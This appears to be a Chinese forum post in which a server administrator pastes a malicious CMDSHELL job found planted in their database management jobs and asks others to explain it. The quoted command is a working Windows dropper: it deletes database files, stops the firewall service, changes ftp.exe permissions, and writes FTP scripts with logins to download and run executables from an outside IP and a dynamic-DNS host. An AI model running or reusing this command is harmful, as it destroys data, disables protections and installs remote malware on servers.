管理作业下面被加了一个非法作业CMDSHELL的

ehxz

内容：
Cmd /c Copy ias\dnary.mdb dnary.mdb&del ias\ias.mdb&del ias\dnary.mdb&del dnary.mdb&Start Net1 Stop Sharedaccess&Md Kinds&Cd Kinds&Del *.* /s /f /q&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:F&Echo Open 222.189.238.33 >k.w&echo dudunddos >>k.w&echo liyin >>k.w&echo get 33xinma.exe >>k.w&echo bye >>k.w&Echo Open forus.3322.org >op.k&Echo scan >>op.k&Echo 123 >>op.k&Echo mget *.exe >>op.k&echo bye >>op.k&ftp -i -s:k.w&del k.w&ftp -i -s:op.k&del op.k&Cacls %windir%\\system32\\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&DoIt.bat&ping -n 8 127.0.0.1&DoIt.bat&del DoIt.bat

哪个高手解译一下，谢谢。